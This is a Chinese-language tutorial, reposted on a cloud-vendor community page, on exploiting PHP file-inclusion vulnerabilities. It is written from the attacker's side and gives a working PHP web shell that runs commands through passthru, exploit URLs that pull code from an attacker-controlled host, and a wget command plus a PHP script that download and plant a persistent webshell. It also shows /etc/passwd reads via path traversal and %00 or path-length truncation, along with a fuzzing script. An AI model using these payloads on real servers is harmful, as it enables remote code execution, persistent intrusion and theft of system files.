PHP檔案包含詳細講述

來源:互聯網
上載者:User
一、什麼才是”遠程檔案包含漏洞”?

回答是:

  • 伺服器通過php的特性(函數)去包含任意檔案時,由於要包含的這個檔案來源過濾不嚴,從而可以去包含一個惡意檔案,而我們可以構造這個惡意檔案來達到邪惡的目的。

  • 涉及到的危險函數:include(),require()和include_once(),require_once()

  • Include:包含並運行指定檔案,當包含外部檔案發生錯誤時,系統給出警告,但整個php檔案繼續執行。

  • Require:跟include唯一不同的是,當產生錯誤時候,include下面繼續運行而require停止運行了。

  • Include_once:這個函數跟include函數作用幾乎相同,只是他在匯入函數之前先檢測下該檔案是否被匯入。如果已經執行一遍那麼就不重複執行了。

  • Require_once:這個函數跟require的區別 跟上面我所講的include和include_once是一樣的。所以我就不重複了。

  • php.ini設定檔:allow_url_fopen=off 即不可以包含遠程檔案。Php4存在遠程&本地,php5僅存在當地套件含。

二、為什麼要包含檔案?

程式員寫程式的時候,不喜歡幹同樣的事情,也不喜歡把同樣的代碼(比如一些公用的函數)寫幾次,於是就把需要公用的代碼寫在一個單獨的檔案裡面,比 如 share.php,而後在其它檔案進行包含調用。在php裡,我們就是使用上面列舉的那幾個函數來達到這個目的的,它的工作流程:如果你想 在 main.php裡包含share.php,我將這樣寫include(“share.php”)就達到目的,然後就可以使用share.php中的 函數了,像這個寫死需要包含的檔案名稱的自然沒有什麼問題,也不會出現漏洞,那麼問題到底是出在哪裡呢?

有的時候可能不能確定需要包含哪個檔案,比如先來看下面這個檔案index.php的代碼:

if ($_GET[page]) {include $_GET[page];} else {include ”home.php”;}

很正常的一段PHP代碼,它是怎麼運作的呢?

上面這段代碼的使用格式可能是這樣的:

http://www.php.cn/m4r10/php/index.php?page=main.php

或者

http://www.php.cn/m4r10/php/index.php?page=downloads.php

結合上面代碼,簡單說下怎麼運作的:

  1. 提交上面這個URL,在index.php中就取得這個page的值($_GET[page])。

  2. 判斷$_GET[page]是不是空,若不空(這裡是main.php)就用include來包含這個檔案。

  3. 若$_GET[page]空的話就執行else,來 include ”home.php” 這個檔案。

三、為什麼會產生漏洞?

你也許要說,這樣很好呀,可以按照URL來動態包含檔案,多麼方便呀,怎麼產生漏洞的呢?問題的答案是:我們不乖巧,我們總喜歡和別人不一樣,我們 不會按照他的連結來操作,我們可能想自己寫想包含(調用)的檔案,比如我們會隨便的打入下面這個URL:http: //hi.baidu.com /m4r10/php/index.php?page=hello.php。然後我們的index.php程式就傻傻按照上面我們說得步驟去執行:取 page為hello.php,然後去include(hello.php),這時問題出現了,因為我們並沒有hello.php這個檔案,所以 它 include的時候就會警示告,類似下列資訊:

Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3Warning: include() [function.include]: Failed opening ’hello.php’ for inclusion (include_path=’.:’) in /vhost/wwwroot/php/index.php on line 3

注意上面的那個Warning就是找不到我們指定的hello.php檔案,也就是包含不到我們指定路徑的檔案;而後面的警告是因為前面沒有找到指定檔案,所以包含的時候就出警告了。

四、如何利用?

上面可以看到,問題出現了,那麼我們怎麼利用這樣的漏洞呢,利用方法其實很多,但是實質上都是差不多的,我這裡說三個比較常見的利用方法:

1.包含讀出目標機上其它檔案

由前面我們可以看到,由於對取得的參數page沒有過濾,於是我們可以任意指定目標主機上的其它敏感檔案,例如在前面的警告中,我們可以看到暴露的絕對路徑(vhost/wwwroot/php/),那麼我們就可以多次探測來包含其它檔案,比如指定URL為:http://hi.baidu.com /m4r10/php/index.php?page=./txt.txt可以讀出當前路徑下的txt.txt檔案,也可以使用../../進行目錄跳轉 (在沒過濾../的情況下);也可以直接指定絕對路徑,讀取敏感的系統檔案,比如這個URL:http://hi.baidu.com/m4r10 /php/index.php?page=/etc/passwd,如果目標主機沒有對許可權限制的很嚴格,或者啟動Apache的許可權比較高,是可以讀出 這個檔案內容的。否則就會得到一個類似於:open_basedir restriction in effect.的Warning(這裡是由於apache的open_basedir中限制了訪問目錄)。

2.遠程檔案包含可啟動並執行PHP木馬

如果目標主機的”allow_url_fopen”是啟用的(預設是啟用的,沒幾個人會修改),我們就可以有更大的利用空間,我們可以指定其它 URL上的一個包含PHP代碼的webshell來直接運行,比如,我先寫一段運行命令的PHP代碼,如下儲存為cmd.txt(尾碼不重要,只要內容為 PHP格式就可以了)。

<?phpif (get_magic_quotes_gpc()){$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉逸出字元(可去掉字串中的反斜線字元)ini_set(“max_execution_time”,0); //設定針對這個檔案的執行時間,0為不限制.echo ”M4R10開始行”;       //列印的返回的開始行提示資訊passthru($_REQUEST["cmd"]);   //運行cmd指定的命令echo ”M4R10結束行”;       //列印的返回的結束行提示資訊?>

以上這個檔案的作用就是接受cmd指定的命令,並調用passthru函數執行,把內容返回在M4R10開始行與M4R10結束行之間。把這個檔案 儲存到我們主機的伺服器上(可以是不支援PHP的主機),只要能通過HTTP訪問到就可以了,例如地址如下:http://www.xxx.cn/cmd.txt,然後我們就可以在那個漏洞主機上構造如下URL來利用了:

http://www.php.cn/m4r10/php /index.php?page=http://www.xxx.cn/cmd.txt?cmd=ls

其中cmd後面的就是你需要執行的命令,其它常 用的命令(以*UNIX為例)如下:

  • ll 列目錄、檔案(相當於Windows下dir)

  • pwd 查看當前絕對路徑

  • id whoami 查看目前使用者

  • wget 下載指定URL的檔案

等等其它的,你主機去BAIDU找吧,就不列舉了。

3.包含一個建立檔案的PHP檔案(常用)

也許有的人認為還是得到目標機上的一個真實的Webshell比較放心,萬一哪天人家發現這兒個包含漏洞修補了,我們就不能再遠程包含得到上面的那 個” 偽”Webshell了,不是嗎?可以理解這個心態,我們繼續。得到一個真實的Webshell,我們也說兩種常見的方法:

1)使用wget之類的命令來下載一個Webshell

這個比較簡單,也很常用,在上面我們得到的那個偽webshell中,我們可以執行命令,那麼我們也可以調用系統中的一個很厲害的角色,wget, 這個命令的強大你可以google下,參數一大堆,絕對搞暈你,呵呵,我們不需要那麼複雜,我們就使用一個 -O(–output- document=FILE,把文檔寫到FILE檔案中) 就可以了,呵呵。

前提是你在按照前面的步驟放一個包含PHP代碼的Webshell在一個可以通過HTTP或者FTP等可以訪問的地方,比 如:http://www.xxx.cn/m4r10.txt,這個檔案裡寫的就是Webshell的內容。然後我們在前面得到的偽 Webshell中 執行如下的URL:

http://www.php.cn/m4r10/php/index.php?page=http://www.xxx.cn /cmd.txt?cmd=wget http://www.xxx.cn/m4r10.txt -O m4r10.php

如果目前的目錄可寫,就能得到 一個叫做m4r10.php的Webshell了,如果目前的目錄不可寫,還需要想其它的辦法。

2)使用檔案來建立

前面的wget可能會遇到目前的目錄不能寫的情況;或者目標主機禁用了(或者沒裝)這個命令,我們又需要變通一下了,我們可以結合前面的包含檔案漏洞來包含一個建立檔案(寫檔案)的PHP指令碼,內容如下:

<?php$f=file_get_contents(“http://www.xxx.cn/m4r10.txt”); //開啟指定路徑的檔案流$ff=fopen(“./upload/m4r10.php”,”a”);     //尋找一個可以的目錄,建立一個檔案fwrite ($ff,$f);  //把前面開啟的檔案流寫到建立的檔案裡fclose($ff);    //關閉儲存檔案?>

還是寫入我們上面用wget下載的那個php檔案,但是我們改進了方法,用PHP指令碼來實現,可以使用上面的cmd.php?cmd=ll尋找可以 寫的目錄,比如這裡的upload,然後把檔案建立在這個目錄下:./upload/m4r10.php。然後就得到我們的Webshell了。

4.本地檔案包含(常用)

典型的漏洞代碼:

<?phpinclude($_GET['pages'].‘.php’);?>

黑盒判斷方法:

單純的從URL判斷的話,URL中path、dir、file、pag、page、archive、p、eng、語言檔案等相關關鍵字眼的時候,可能存在檔案包含漏洞。

當地套件含漏洞的利用(這裡先忽略截斷問題,下面會將截斷的方法)

1、包含同伺服器中上傳的jpg、txt、rar等檔案,這個是最理想的情況了。

2、包含系統的各種日誌,如apache日誌,檔案系統日誌等 其中apache當記錄格式為combined,一般日誌都會很大,基本無法包含成功。包含log是有自動化攻擊程式的。

突破限制截斷後面的字串技巧

利用當地套件含時常常需要用%00來截斷後面的字串,但在GPC為ON時%00是會被轉義的,那麼還有其他方法嗎?

用一定數量的/突破作業系統對檔案名稱的長度限制來截斷後面的字串(推測相對路徑可用)

看漏洞代碼:

<?php$webpath = dirname(__FILE__)."/";$filepath = "test.txt";for($i =1;$i<1000;$i++){$filepath .= '.';}include  $webpath.$filepath.".php";?>

test.txt 代碼

結果截斷失敗,改下代碼:

<?php$webpath = dirname(__FILE__)."/";$filepath = "test.txt";for($i =1;$i<1000;$i++){$filepath .= '.';}include    $filepath.".php";  //相對路徑?>

這次成功。

以上是windows下的方法,其實linux也可以:

include截斷

<?phpinclude $_GET['action'].".php";?>

提交“action=/etc/passwd%00”中的“%00”將截斷後面的“.php”,但是除了“%00”還有沒有其他的字元可以實現截斷使用呢?

肯定有人想到了遠程包含的url裡問號“?”的作用,通過提交“action=http://www.hacksite.com/evil-code.txt?”這裡“?”實現了“偽截斷”:),好象這個看上去不是那麼舒服那麼我們簡單寫個代碼fuzz一下:

////var5.php代碼:////include $_GET['action'].".php";////print strlen(realpath("./"))+strlen($_GET['action']);///////////////////ini_set('max_execution_time', 0);$str='';for($i=0;$i<50000;$i++){$str=$str."/";$resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);//1.txt裡的代碼為print 'hi';if (strpos($resp, 'hi') !== false){print $i;exit;}}?>

經過測試字元“.”、“ /”或者2個字元的組合,在一定的長度時將被截斷,win系統和*nix的系統長度不一樣,當win下strlen(realpath("./"))+strlen($_GET['action'])的長度大於256時被截斷,對於*nix的長度是4 * 1024 = 4096。對於php.ini裡設定遠程檔案關閉的時候就可以利用上面的技巧包含本地檔案了。(此漏洞由cloie#ph4nt0m.org最先發現])

推薦文章:

關於PHP檔案包含一些漏洞分析

關於PHP檔案包含一些漏洞分析。文章簡單的分析了在php檔案包含時inlcude的一個漏洞分析,下面希望對大家有點用處哦。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.